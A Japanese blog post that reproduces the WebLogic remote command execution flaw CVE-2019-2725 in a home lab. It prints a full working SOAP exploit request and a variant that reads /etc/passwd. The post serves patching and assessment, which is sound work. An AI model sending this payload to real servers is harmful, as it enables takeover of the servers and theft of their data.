WebLogic Server の脆弱性(CVE-2019-2725)を検証する!検証編

セキュリティ

前回に引き続き、検証を続けていきます。

今回は実際の検証編になります。なお、WebLogic Serverをお使いの方でまだアップデートを行っていない方はすぐに対応することを強く推奨します。

OSコマンドの実行が可能ですので、サーバの乗っ取りが可能です。

検証の前に

さて実際に検証を行う際に、実際の攻撃コードを探さないといけません。

ハニーポッターの方々であればお手元のハニーポットに続々と攻撃コードの検体が入ってくると思いますが、残念ながら私はハニーポッターではありませんので、Google検索を駆使して探していきます。

また、GitHubなどに攻撃コードが公開されていれば、このブログで検証をしても、どこかの県警に睨まれる心配も少し減るのではないかと考えています。

攻撃コードがない場合ですと、睨まれる可能性も上がってきますので、気を付ける必要がありますね。

特に何も考えずgoogleで「cve-2019-2725 git」などで検索すると色々な攻撃コードを確認することができます。

私はその中で「EXPLOIT DATABESE」というサイトで以下のように攻撃コードが記載されていたのを参考にしました。(他にも色々見ていますが、参考として提示します。)

攻撃コードの検証

では前回作成した環境へ検証を行っていきます。

まずは、インターネット上でよく見る電卓を起動することをやってみます。

なお、攻撃コードの実行はWindows側からburp suiteを使用して行いました。

対象のURLは「http://192.168.199.129:7001/_async/AsyncResponseService」に対して実施します。

burpのリピーター機能を使用して、攻撃コードを実行すると。

以下のようにUbuntuのVM上で電卓が起動されることが確認されました。

実際に送信するリクエストは以下の通りです。

リクエストボディ内の「<string>gnome-calculator</string>」の個所に任意のコマンドを入力する子で実行されます。
※「gnome-calculator」は電卓を起動するためのコマンドです。

POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.199.129:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ja,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.199.129:7001/console/login/LoginForm.jsp
Content-Type: text/xml
Content-Length: 821
Connection: close
Cookie: ADMINCONSOLESESSION=5ai1NULUeM_P0kAnJddlnk0GR0o8IaEHRJzd1fufDcM-0kb3aPkg!897154284
Upgrade-Insecure-Requests: 1

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>gnome-calculator</string>
</void>
</array>
<void method="start"/>
</void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body>
</soapenv:Envelope>

これで検証自体は完了ですが、よくある/etc/passwdを出力してみましょう。

ターミナルで「/home/share」のディレクトリに移動し、現在のファイルの状態を確認します。

以下のようになっていることがわかりますね。

では先ほどの攻撃コードでの「gnome-calculator」の個所を「cat /etc/passwd > /home/share/test1.txt」のように変更します。

変更して再度burpのリピータ機能で送信します。

すると大方の予想はついていると思いますが、「/home/share」のディレクトリ内に「test1.txt」が作成されています。

中身を見てみると、「/etc/passwd」の中身が記載されていますね。

任意のOSコマンドが実行可能な非常に危険度が高い脆弱性であることが確認できました。

最後に

WebLogic Serverの脆弱性(CVE-2019-2725)の検証とWebLogic Serverの環境構築を続けて行いました。

攻撃側としては非常に使いやすい脆弱性ではないかと思いますので、WebLogic Serverを使用している方は必ずアップデートを行うようにしてください。

ハニーポッターの方々もこの攻撃が増えているお話ししていました。

レスポンスに結果が出力がされないので、脆弱性診断の際はpingリクエストを送信してtcpdump等で対象サーバから送信されていることを確認する等の操作を行う必要があるかなと考えています。
※診断時にファイルを置くのを禁止している企業は結構あるので・・・

今後も大きめの脆弱性があった際は攻撃コードの検証等を記事にしていきたいと思います。

不明点や要望やこういったこともやって欲しいとの要望があれば、お問い合わせページやコメント、ツイッターからでも結構ですので、気軽にご連絡ください。

コメント